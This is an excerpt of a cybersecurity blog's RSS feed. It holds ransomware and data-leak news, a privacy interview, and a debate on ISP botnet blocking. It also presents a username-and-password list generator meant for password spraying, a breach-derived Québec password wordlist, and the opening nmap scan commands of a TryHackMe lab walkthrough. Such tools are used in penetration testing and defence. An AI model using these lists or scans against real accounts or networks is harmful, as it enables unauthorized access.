<p>The Cl0p group was behind the recent attacks against Bombardier, as well as <a href="https://media.hackfest.ca/en/blog/Durham-breach-EN">against the Regional Municipality of Durham</a> in Ontario and <a href="https://media.hackfest.ca/en/blog/boutin-transport-cyberattack">the Boutin transport company</a> here in Québec. It is too early to know whether the people arrested today are responsible for these attacks, or whether they belong to another group of affiliates.</p>

<p><em>This article was corrected on 18/06 to fix the amount seized in Canadian dollars.</em></p>

]]></content:encoded>
    </item>
    <item>
      <title>Loyalty programs: rewards... and risks</title>
      <link>https://media.hackfest.ca/en/blog/loyalty-programs-risks</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/loyalty-programs-risks</guid>
      <pubDate>Mon, 14 Jun 2021 15:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Leaks &amp; privacy</category>
      <category>privacy</category>
      <category>ESET</category>
      <category>interview</category>
      <description>A column on the cost of loyalty programs drew a reaction from members of the Hackfest community. In this interview with Alexis Dorais-Joncas, head of the R&amp;amp;D centre at ESET Montréal, we discuss some of the potential risks of these programs.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/fidelisation.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/fidelisation.webp" alt="loyalty programs" /></p>

<p>The trivialization of risks <a href="https://www.lapresse.ca/affaires/chroniques/2021-05-30/combien-vous-coutent-les-programmes-de-fidelisation.php">in a column</a> on the cost of loyalty programs published in La Presse drew a reaction from members of the cybersecurity community. “I thought it was a really great article, until I got to that section,” Alexis Dorais-Joncas, head of the R &amp; D centre at ESET Montréal, said in an interview. “I learned a lot,” he adds. However, he finds it unfortunate that the opportunity wasn’t taken to remind consumers that if “you agree to hand over your personal data, do it knowingly.”</p>

<p>For this head of a team of cybersecurity researchers, it is wrong to say the risk is the same because this data is already held by another entity, such as the bank. “The risks add up,” he explains. “The more parties that hold our personal data, the greater the chances that one of them will suffer a leak.”</p>

<h3 id="its-not-just-data-thats-at-risk">It’s not just data that’s at risk</h3>

<p>Since these programs offer rewards, Mr. Dorais-Joncas adds that the theft of accounts does not only result in lost data, but can involve a monetary loss. The loss associated with the theft of one account may seem minimal for a user, but if a fraudster gets hold of a large number of them, it adds up to much larger sums.</p>

<p>The third impact he noted comes from the fact that some loyalty programs are tied to a payment method. Mr. Dorais-Joncas in fact investigated a fraud case involving McDonald’s mobile app in 2019. <a href="https://mobilesyrup.com/2019/04/23/mcdonalds-mobile-app-defrauded-2000-dollars/">A journalist reported being defrauded of $2,000</a> when someone took over his loyalty account. According to the cybersecurity specialist, “security was completely deficient. [ … ] You could test thousands of username and password combinations in a few minutes.” Moreover, once a valid account was stolen, the app had no anti-fraud measures, and several transactions had been recorded at the same time in several places across the province without this being flagged.</p>

<h3 id="to-sign-up-or-not">To sign up or not?</h3>

<p>For Alexis Dorais-Joncas, you have to ask yourself whether you get a real benefit from the program. He suggests asking yourself, “Am I willing to hand over my personal data to this company in exchange for what it offers me?”
Second, he suggests reading the terms of use and privacy policies. He admits this is not always easy, because these policies are not easy to understand, but “they say a lot about how our data will be used.”</p>

<p>Ideally, we should minimize the scope and number of programs we join. It is therefore better to sign up only for programs that genuinely interest us.</p>

<p>Once you decide to join a loyalty program, he suggests never reusing passwords. “We tend to think we don’t need as much security as for our bank account,” but once you get into the habit of using a password manager, “it’s no harder to create a good, unique password for all your accounts.”</p>

<p>Loyalty programs offer benefits, but they are not without risk. It is therefore important that the decision to hand over your personal data not be taken lightly.</p>

<p>Bill 64 is meant to regulate the collection, protection and use of this personal data. Its adoption has been delayed by the government’s recent announcement that it is suspending its study of the bill.</p>

<p>photo credit: <a href="https://www.flickr.com/photos/fourbrickstall/">Four Bricks Tall</a> - <a href="https://creativecommons.org/licenses/by-nc-nd/2.0/">CC BY-NC-ND license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Introducing a Project to Generate a List of Québec Usernames</title>
      <link>https://media.hackfest.ca/en/blog/quebec-usernames-list-project</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/quebec-usernames-list-project</guid>
      <pubDate>Fri, 04 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>redshell</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Tools &amp; projects</category>
      <category>wordlist</category>
      <category>usernames</category>
      <category>OSINT</category>
      <description>Over various penetration tests, I always found that there was no equivalent of a list of possible usernames in French. Following Hackfest’s latest blog post publishing a wordlist adapted to Québec, I decided to publish my own script that generates common usernames adapted to Québec.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/usernames.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/usernames.webp" alt="passwords" /></p>

<h2 id="what">What</h2>

<p>Over various penetration tests, I always found that there was no equivalent of a list of possible usernames in French. Following Hackfest’s latest <a href="https://media.hackfest.ca/en/blog/quebec-password-wordlist-project">blog post</a> publishing a wordlist adapted to Québec, I decided to publish my own script that generates common usernames adapted to Québec.</p>

<p>Also, many passwords are still based on first and last names (of children, parents, wives, etc.). These are generally French names that are not (or barely) part of standard wordlists. Using sites that publish information on the most popular names, such as <a href="https://prenomsquebec.ca">prenomsquebec.ca</a>, and a Wikipedia article, it is possible to create many combinations.</p>

<p>So I present the Github repository <a href="https://github.com/r3dshell/QC_Username_Generator"><strong>QC_Username_Generator</strong></a>.</p>

<h2 id="features">Features</h2>

<ul>
  <li>Generate popular usernames based on Québec names</li>
  <li>Adapt the name format depending on the test or application</li>
  <li>Optionally add a domain name in case the username requires an email address</li>
  <li>Generate commonly used passwords (combinations of names and years)</li>
</ul>

<p>This script generates several username variations based on the most popular last names (top 1000) and first names in Québec since 1980.</p>

<p>It can also add a variation with a domain name to generate potential email addresses (e.g. jeantremblay@example.com). The usernames can then easily be used for password spraying or simply for enumeration. In addition, it can generate passwords that include the name and the year (e.g. Tremblay2020!, jean2021, ..). Sorry if that’s your password!</p>

<p>They can then be used on their own for password cracking, in combination with other lists such as  <a href="https://github.com/w0lf-d3n/Quebec_Wordlist.">w0lfd3n</a>, or added to Hashcat rules.</p>

<h2 id="use-cases">Use cases</h2>

<ul>
  <li>For password spraying</li>
  <li>To perform user enumeration</li>
  <li>To generate a wordlist of possible passwords during password cracking</li>
</ul>

<h2 id="usage-examples">Usage examples</h2>

<ul>
  <li>The script is based on Python3 and requires no external modules.</li>
  <li>The name lists are stored in the <em>source</em> folder.</li>
</ul>

<p>The various possible arguments:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[-u] permet de générer une liste d'utilisateurs [-w] permet de générer une liste de mot de passe [-d] spécifie que vous voulez une liste contenant un domaine/courriel (ex: nomcomplet@domaine.com) [-o] pour spécifier le nom du fichier en sortie (exemple.txt), sinon ce sera affiché en STDOUT 
</code></pre></div></div>

<p>To generate a list containing email addresses to a text file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -u -d -o fichier 
</code></pre></div></div>

<p>To generate a list of usernames to a text file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -u -o fichier 
</code></pre></div></div>

<p>To generate a list of potential passwords to a text file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -w -o fichier 
</code></pre></div></div>

<h2 id="final-word">Final word</h2>

<p>As always, we recommend using a password manager such as BitWarden or KeePassXC to generate complex passwords and store them securely.</p>

<p>You can contact me on the <a href="https://discord.hackfest.ca">Hackfest Discord</a>: @redshell</p>

<p>Photo credit: <a href="https://flickr.com/photos/christiaancolen/20971563620/">christiaancolen</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC BY license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Introducing a Québec password wordlist project</title>
      <link>https://media.hackfest.ca/en/blog/quebec-password-wordlist-project</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/quebec-password-wordlist-project</guid>
      <pubDate>Tue, 01 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>POPS5s</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Tools &amp; projects</category>
      <category>wordlist</category>
      <category>passwords</category>
      <category>w0lfd3n</category>
      <description>That’s when reality hit me: the usual “wordlists” available online contain little or no French and/or Québec vocabulary, since most of them come from American and international breaches!</description>
      <enclosure url="https://media.hackfest.ca/images/posts/passwords.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/passwords.webp" alt="passwords" /></p>

<p>Recently, I was testing my modest “pentest” skills on my personal WI-FI network. Following the classic methodology, I performed a deauthentication attack on a device connected to my “access point”, captured the WPA2 key exchange, and tried to “crack” the password using a “wordlist”. For the sake of the exercise, the password used was alarmingly simple. Despite that, I was unable to find it.</p>

<p>That’s when reality hit me: the usual “wordlists” available online contain little or no French and/or Québec vocabulary, since most of them come from American and international breaches. During discussions on some Discord servers (Hackfest), I noticed that very few French-language references were indeed available and that there was a desire to create such a password list. Our group, w0lfd3n, a team of professionals and enthusiasts who are mostly from Québec, came together around this idea. We seized the opportunity to found an official group in order to get involved in the cybersec community. This project was a kind of catalyst for the group and an extra motivation to explore methods and skills that were, for most of us, still new, i.e. GitHub. We hope the project will make a positive contribution to the Québec cybersec community.</p>

<p>We are pleased to present the public repository <a href="https://github.com/w0lf-d3n/Quebec_Wordlist">w0lfd3n’s quebec_wordlist</a>. This list is extracted, for the most part, from passwords found in several public data breaches, all related to Québec domains (public institutions, private sector, etc.). It has several potential applications, i.e. a “wordlist” for John The Ripper and Hashcat, or simply a list of passwords to avoid. You can combine good password discipline with this list to avoid using weak and compromised passwords.</p>

<p>We also recommend using a password manager such as BitWarden or KeePassXC to avoid reusing the same password multiple times. We plan to make constant changes and additions to this list, and we are of course open to any external contributions that meet our criteria.</p>

<p>You can contact us at <a href="mailto:hello@w0lfd3n.org">hello@w0lfd3n.org</a> .</p>

<p>Photo credit: <a href="https://flickr.com/photos/worldsdirection/33611388604/">worldsdirection</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC BY license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Sensitive data leak at Ventilabec</title>
      <link>https://media.hackfest.ca/en/blog/ventilabec-data-leak</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/ventilabec-data-leak</guid>
      <pubDate>Tue, 11 May 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Leaks &amp; privacy</category>
      <category>SIN</category>
      <category>construction</category>
      <description>It is never pleasant to learn that our sensitive information has been published on the Web. Last January, a criminal group released confidential documents it claims to have stolen from the company Ventilabec. To confirm the authenticity of this information, we contacted people who no longer work for the company, but who unfortunately appear in this data leak.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/ventilation.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/ventilation.webp" alt="ventilation" /></p>

<p>It is never pleasant to learn that our sensitive information has been published on the Web. Last January, a criminal group released confidential documents it claims to have stolen from the company Ventilabec. To confirm the authenticity of this information, we contacted people who no longer work for the company, but who unfortunately appear in this data leak.</p>

<p>The ransomware group that claimed responsibility for this cyberattack published 1,140 documents. They include background check authorization forms, job site “onboarding sheets” listing allergies and medication taken, and competency cards issued by the Commission de la construction du Québec. The cards dating from 2010 and 2011 display the worker’s social insurance number. According to a counter displayed on the web page, it has been viewed more than 25,000 times.</p>

<p>Sabrina DesOrmiers worked for Ventilabec until 2012. Afterwards, she “kept doing consulting for them for about two years.” She confirms having signed a criminal background check authorization for a project at the Casino de Montréal. Before our call, no one had notified her of this data breach.</p>

<p>Reached by phone, Caroline (not her real name) confirms that she also worked for this company.  She has not been employed there for several years. She asked to remain anonymous.</p>

<p>We informed her that a form was on a website accessible on the dark web. “No one notified me,” she tells us. She confirms having signed this authorization. The document contains information such as her date of birth, her social insurance number and her driver’s licence number.</p>

<p>Ventilabec, based in Laval, specializes in installing and maintaining ventilation, refrigeration and heating systems. According to its website, it has more than 10,000 completed projects to its credit in the industrial, commercial, institutional and pharmaceutical sectors.</p>

<p>Reached by phone, president Éric Ladouceur preferred not to comment on the matter.</p>

<h3 id="secured-or-destroyed">Secured or destroyed</h3>

<p>According to Steve Waterhouse, a former security officer at National Defence, when archiving this kind of information, it is important to be aware of how sensitive it is.</p>

<p>The best practice for keeping data that is not actively needed is “to never put it online.” He advises storing sensitive data in encrypted form. “There are several programs and tools to encrypt files.” Documents “at rest” should be on an external hard drive, encrypted, and stored in a safe place.</p>

<p>The cybersecurity expert points out that a company should have a data retention policy and destroy data as soon as it is no longer useful. To destroy it securely, he recommends encrypting it before deleting it. This will make it harder to recover.</p>

<h3 id="reporting-not-mandatory-but-recommended">Reporting not mandatory, but recommended</h3>

<p>The Commission d’accès à l’information du Québec (CAI, Quebec’s access to information commission) confirms that the law does not require companies to destroy information. Its spokesperson reminds us that keeping documents that are no longer needed increases the impact when a security incident occurs.</p>

<p>“For now, in Quebec, there is no legal obligation to report security incidents, either to the Commission or to the people concerned,” the CAI told us. Reports are made on a voluntary basis.</p>

<p>“However, we strongly recommend that companies take this step.” According to the Commission, “the people concerned should be notified without delay if the loss or theft of personal information presents a risk of harm to them. This can allow them to take the appropriate measures to protect their personal information.”</p>

<p>The CAI explains that under section 27 of the Act respecting the protection of personal information in the private sector, every person has the “right to access personal information concerning them that is held by a company.” A written request must be submitted.</p>

<p>Article 40 of the Civil Code of Québec also allows a person to request the deletion of personal information that is “outdated or not justified by the purpose of the file.”</p>

<p>In both cases, it is possible to contact the CAI to learn more about the procedures and restrictions detailed in the law.</p>

<h3 id="how-to-protect-yourself-from-identity-theft">How to protect yourself from identity theft</h3>

<p>According to Patrick Mathieu, co-founder of Hackfest Communication — an annual event and cybersecurity community — in cases like this one, people can protect themselves:</p>

<ul>
  <li>by avoiding putting personal information on social media,</li>
  <li>by using a password manager and two-factor authentication,</li>
  <li>by subscribing to an alert service such as those offered by Equifax or TransUnion,</li>
  <li>by regularly checking their bank accounts and credit card statements to detect suspicious transactions.</li>
</ul>

<p>photo credit: <a href="https://flickr.com/photos/duchamp/">spDuchamp</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC BY license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Boutin transport company hit by a cyberattack</title>
      <link>https://media.hackfest.ca/en/blog/boutin-transport-cyberattack</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/boutin-transport-cyberattack</guid>
      <pubDate>Fri, 30 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>transportation</category>
      <description>Transport company Boutin Express was targeted by ransomware. The company shut down all of its IT systems, but has managed to continue operating.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/boutin.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/boutin.webp" alt="crtc" /></p>

<p>Transport company Boutin was targeted by ransomware. The company shut down all of its IT systems, but has managed to continue operating.</p>

<p>The security breach was announced on a ransomware group’s site. We contacted the company by phone on April 28, and its president, Mr. Bernard Boutin, confirmed that they had indeed been targeted by a cyberattack. He asked us to send him our questions in writing.</p>

<p>In an email, the entrepreneur explained that a ransom note was discovered and that they then called on an IT security specialist.</p>

<p>The customer and employee portals, accessible from their website, are not responding. To avoid taking any unnecessary risks, “we shut down access to all of our systems and workstations.” Staff must rebuild a number of servers and “restart certain applications from scratch. Operations work is being done partly manually.”</p>

<p>Mr. Boutin says their operations are continuing. “With our team, we were able to make sure that service was not too disrupted.”</p>

<p>The situation is currently under investigation. The company cannot say with certainty whether personal data of customers or employees was stolen. But “as a precaution, the people concerned have started to be informed.”</p>

<p>Boutin is a company founded in 1945 and headquartered in Plessisville, in the Centre-du-Québec region. According to its website, it has more than 390 employees and a fleet of over 630 units.</p>

<p>cover photo credit: <a href="https://www.flickr.com/photos/65329753@N04/">martin</a> - <a href="https://creativecommons.org/licenses/by-nc-nd/2.0/">CC BY-NC-ND license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Triple extortion</title>
      <link>https://media.hackfest.ca/en/blog/triple-extortion</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/triple-extortion</guid>
      <pubDate>Tue, 27 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Avaddon</category>
      <category>DDoS</category>
      <category>extortion</category>
      <description>Since the threat of leaking stolen documents is not enough in their eyes, some ransomware groups have added denial of service to their arsenal. A Québec City company just learned this the hard way. The Avaddon group recently claimed an attack against this software development company.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/lock.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/lock.webp" alt="crtc" /></p>

<p>Since the threat of leaking stolen documents is not enough in their eyes, some ransomware groups have added denial of service to their arsenal. A Québec City company just learned this the hard way. The Avaddon group recently claimed an attack against this software development company.</p>

<p>It is now customary for attackers to apply what is known as “double extortion.” With this method, the criminals first exfiltrate the data they managed to access. Then they encrypt their victim’s systems. The files are rendered unusable unless the victim pays to obtain the key needed to decrypt them.</p>

<p>Companies with recent and reliable backups are able to recover more quickly from this kind of attack. To increase pressure on victims and force them to pay, the Maze group was the first to threaten to publicly release stolen data. Shortly afterwards, several groups followed suit.</p>

<p>The news site bleepingcomputer.com reported in October 2020 that the SunCrypt and RagnarLocker groups had started adding distributed denial of service (DDoS) to their arsenal.</p>

<p>DDoS is a form of attack where the victim’s server is bombarded with a large number of requests. It is called distributed because the requests come from a multitude of different sources. Unable to handle such a volume of bogus data, the server becomes inaccessible.</p>

<p>The Avaddon group has just joined the list of groups using this method to force their victims to negotiate. On their site, one can see a list of companies affected by a denial of service.</p>

<p>On the morning of April 27, the Québec City company’s website was indeed inaccessible. When contacted, the company preferred not to comment on the events. The entrepreneur, who asked us to keep him anonymous, told us that “there is no clear guide on the role of IT security as an SME is being built” and that although investing in security may seem like a significant expense, especially at the beginning, “a risk assessment should lead to the conclusion that such expenses are smaller than the potential damage.”</p>

<p>It remains to be seen whether other groups will now start practising this “triple extortion.”</p>

<p>cover photo credit: <a href="https://www.flickr.com/photos/dotbenstar/">Ben Elwood</a> - <a href="https://creativecommons.org/licenses/by-nc/2.0/">CC BY-NC license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cybersecurity incident at the Regional Municipality of Durham</title>
      <link>https://media.hackfest.ca/en/blog/Durham-breach-EN</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/Durham-breach-EN</guid>
      <pubDate>Fri, 09 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>municipalities</category>
      <category>third-party</category>
      <description>The Regional Municipality of Durham in Ontario was the target of a cyber criminal group. The systems have been secured, but the extent of the data breach is still unknown. The Corporate Communications service confirmed that they “recently became aware of a cybersecurity incident related to software provided by a third-party service provider.”</description>
      <enclosure url="https://media.hackfest.ca/images/posts/ransomware.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/ransomware.webp" alt="crtc" /></p>

<p>The Regional Municipality of Durham in Ontario was the target of a cyber criminal group. The systems have been secured, but the extent of the data breach is still unknown.</p>

<p>We contacted the administration of the municipality after a ransomware gang announced the attack on their leak site hosted on the dark web. The Corporate Communications service confirmed that they “recently became aware of a cybersecurity incident related to software provided by a third-party service provider.” According to the statement we received, the incident did not impact the Region’s core IT systems.</p>

<p>The Regional Municipality says that they have contacted the relevant authorities. Their experts are investigating the matter to “determine the information that may be involved and the impact of this incident.” The Municipality states that the vulnerability has been patched and that their systems have been secured.</p>

<p>The ransomware gang published screenshots of confidential information on their site. The spokesperson for Durham did not confirm if these were authentic. They show spreadsheets with names and phone numbers and, more troubling, ambulance reports.</p>

<p>The group involved in this cyber attack was responsible for alleged data breaches involving universities in the United States in the last months. They have been very active in exploiting the Accelion FTA (File Transfer Application) vulnerability. This 20-year-old technology is used to share confidential documents in a secure manner. A vulnerability was discovered at the end of December 2020. Three other vulnerabilities were found in the first months of 2021. These vulnerabilities have been patched, but many organizations have not updated their services, leaving the door open for threat actors. The Regional Municipality of Durham did not answer our question regarding the use of Accelion FTA.</p>

<p>photo credit: <a href="https://www.flickr.com/photos/136770128@N07/">Richard Patterson</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Dorval company targeted by the Conti group</title>
      <link>https://media.hackfest.ca/en/blog/dorval-company-targeted-by-conti</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/dorval-company-targeted-by-conti</guid>
      <pubDate>Sun, 28 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Conti</category>
      <category>phishing</category>
      <description>Faxinating Solutions, a Québec company specializing in electronic data interchange (EDI), was targeted by a cybercriminal group. On March 16, the Conti group published confidential documents, which it claims to have stolen from the company, on its site hosted on the “dark web.”</description>
      <enclosure url="https://media.hackfest.ca/images/posts/faxinating-conti.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/faxinating-conti.webp" alt="crtc" /></p>

<p>Faxinating Solutions, a Québec company specializing in electronic data interchange (EDI), was targeted by a cybercriminal group. On March 16, the Conti group published confidential documents, which it claims to have stolen from the company, on its site hosted on the “dark web.”</p>

<p>Reached by phone, owner and CEO Steve Hatajlo told us that he “cannot deny that an incident took place.” The company, along with the relevant authorities, is “monitoring the situation closely.” According to a report published on <a href="https://www.freightwaves.com/news/ransomware-attack-on-edi-provider-highlights-cyber-risks-in-supply-chain">the FreightWaves website</a>, the breach was discovered on March 3 and the entry point was a phishing email.</p>

<p>Faxinating Solutions provides software tools that allow businesses to transfer data from one format to another. EDI thus makes it possible to share electronically information that was once available only on paper, such as purchase orders or invoices. Its clients include big names in transportation and retail, such as Metro, Walmart, Colabor and others.</p>

<p>The company’s website states that it offers a web portal for suppliers of the Ministère de la Santé et des Services sociaux (MSSS, Québec’s health and social services ministry). This service is reportedly not offered directly, but through a partner. In response to our request for information, an MSSS spokesperson said that “this supplier has no contracts or business relationships with the Ministère de la Santé et des Services sociaux and no cyberattack has been recorded.” Following a request for clarification, the MSSS public affairs department told us that “some institutions in the health and social services network have suppliers that subcontract with this company. The company holds no information belonging to the MSSS or its institutions. However, we continue to monitor the situation.” Mr. Hatajlo assured us that Faxinating Solutions does not process any medical data or confidential patient information.</p>

<p>Ransomware attacks are growing, and this incident reminds us that companies offering IT solutions are prime targets for criminal groups.</p>

<p><em>This article was updated after its initial publication to include the clarification received from the MSSS.</em></p>
]]></content:encoded>
    </item>
    <item>
      <title>Botnet blocking: no consensus among ISPs</title>
      <link>https://media.hackfest.ca/en/blog/no-consensus-among-isps</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/no-consensus-among-isps</guid>
      <pubDate>Wed, 24 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Policy &amp; regulation</category>
      <category>CRTC</category>
      <category>botnets</category>
      <category>ISP</category>
      <description>The period for submitting comments on the CRTC’s botnet blocking plan is over. Reading the submissions, it is clear that Internet service providers (ISPs) do not all see the situation the same way. Some even go so far as to question the CRTC’s legitimacy in implementing such a program.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/crtc-avis.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/crtc-avis.webp" alt="crtc" /></p>

<p>The period for submitting comments on the botnet blocking plan of the CRTC (Canadian Radio-television and Telecommunications Commission) is over. Reading <a href="https://services.crtc.gc.ca/pub/ListeInterventionList/Default-Defaut.aspx?en=2021-9&amp;dt=i&amp;lang=f&amp;S=C&amp;PA=a&amp;PT=nc&amp;PST=a">the interventions</a>, it is clear that Internet service providers (ISPs) do not all see the situation the same way. Some even go so far as to question the CRTC’s legitimacy in implementing such a program.</p>

<h3 id="mandatory-blocking-no-transparency-required">Mandatory blocking, no transparency required</h3>

<p>In a document signed by Mr. Dennis Béland, Vice-President, Regulatory Affairs, at Vidéotron, we read that “it is possible for the Commission to frame network-level blocking based on a [<em>sic</em>] series of simple and uniform rules.”</p>

<p>Vidéotron advocates a domain blocking approach. Under this approach, an entity yet to be determined would have to maintain a list of malicious domain names to block. According to Mr. Béland, this method should be favoured “because it is already deployed in our network, which will allow the framework to be deployed at lower cost and implemented quickly. This technique strikes a balance between effectiveness and ease of deployment and will not result in additional costs for Internet service subscribers.”</p>

<p>The Québecor Média subsidiary proposes universal blocking, with no opt-out. In its view, it is not desirable for such a system to be optional. Vidéotron considers that, since it is not optional, “transparency measures are not required.”</p>

<h3 id="isps-against-blocking">ISPs against blocking</h3>

<p>Vidéotron’s main competitor in Quebec takes a diametrically opposed position. In its document, Bell Canada challenges the CRTC’s legitimacy to implement such a program. It considers that a centralized framework imposed by the Commission is “in opposition to the cooperative and collaborative approach adopted by the government”([^1]:Translated from English by the author) on cybersecurity. Bell refers to the stakeholders identified in the National Cyber Security Strategy, published in 2010, and seems to take malicious pleasure in pointing out that the CRTC is not among them.</p>

<p>Bell takes a dim view of having a blocking program overseen by an independent entity. “The time between the detection of a malicious botnet and the application of mitigation solutions can sometimes be very short.” The need to notify and obtain approval from an external entity would hinder its ability to respond effectively to threats.</p>

<p>Bell opposes the possibility of an opt-out system for the blocking program, but for very different reasons than Vidéotron. Currently, a domain deemed dangerous is blocked without knowing the identity of the person requesting it. Giving customers a choice would therefore involve collecting more personal data than is currently required.</p>

<p>Telus, in its report to the CRTC, considers that blocking botnets does nothing to address the root of the problem. It is a reactive solution applied once devices have already been infected. The company believes the government should put more effort into establishing and enforcing security standards for manufacturers of Internet-connected devices. “Adopting a proactive approach will have a more significant impact on reducing botnet attacks than the proposed network-level blocking.”</p>

<p>Cogeco clearly positions itself in favour of net neutrality. The Montreal-based company is concerned that government-imposed additional blocking rules could erode net neutrality and have the potential to weaken privacy protection.</p>

<h3 id="on-the-independents-side">On the independents’ side</h3>

<p>Xplornet expresses its reservations about the CRTC’s plan. For the company, which specializes in rural coverage, blocking will not be effective, because it only tackles the problem once the damage is done. It therefore advocates a prevention approach to protect the public. It is concerned that such a framework would give a false sense of security.</p>

<p>Teksaavy, one of the country’s main independent ISPs, also opposes the plan. The company, which has been present in Quebec since 2020, considers that network-level blocking violates the basic principles of a free and open Internet. It believes such a framework would undermine net neutrality without really increasing Internet security.</p>

<p>Several other parties also filed submissions. The CRTC now has the task of analyzing these interventions. The task will not be easy, as blocking is far from unanimous among the Internet service providers who will be responsible for applying this measure if the Commission decides to adopt it.</p>

<p>photo credit: <a href="https://www.flickr.com/photos/twicepix/">Martin Abegglen</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>TryHackMe Walkthrough - Watcher</title>
      <link>https://media.hackfest.ca/en/blog/TryHackMe-Walkthrough-Watcher</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/TryHackMe-Walkthrough-Watcher</guid>
      <pubDate>Mon, 15 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Eric Hogue</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Walkthroughs &amp; CTF</category>
      <category>TryHackMe</category>
      <category>LFI</category>
      <category>privesc</category>
      <description>A walkthrough of the Watcher room on TryHackMe. This is a room of medium difficulty. You need to find 7 flags by starting from a web site, getting a shell on the server and elevating our privileges untill we get root.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2021/03/THMWalkthroughWatcher/LFI.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p>This is my walkthrough of the <a href="https://tryhackme.com/room/watcher">Watcher room on TryHackMe</a>. There are seven flags to find, without any additional description.</p>

<ul>
  <li>Room: Watcher</li>
  <li>Difficulty: Medium</li>
  <li>URL: https://tryhackme.com/room/watcher</li>
</ul>

<h2 id="scanning">Scanning</h2>

<p>The first thing to do when attacking a box is to scan it. I usually do this in three steps:</p>
<ol>
  <li>An aggressive scan on the first 10 000 ports (<code class="language-plaintext highlighter-rouge">nmap -A -oN nmap.txt target</code>)</li>
  <li>A vulnerability  scan on the first 10 000 ports (<code class="language-plaintext highlighter-rouge">nmap -script vuln -oN nmapVuln.txt target</code>)</li>
  <li>A SYN scan on all the ports (<code class="language-plaintext highlighter-rouge">sudo nmap -sS -p- -oN nmapFull.txt target</code>)</li>
</ol>

<p>Here are the results of the first scan:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Nmap 7.91 scan initiated Sun Mar 14 09:11:24 2021 as: nmap -A -oN nmap.txt target</span>
Nmap scan report <span class="k">for </span>target <span class="o">(</span>10.10.208.34<span class="o">)</span>
Host is up <span class="o">(</span>0.23s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey: 
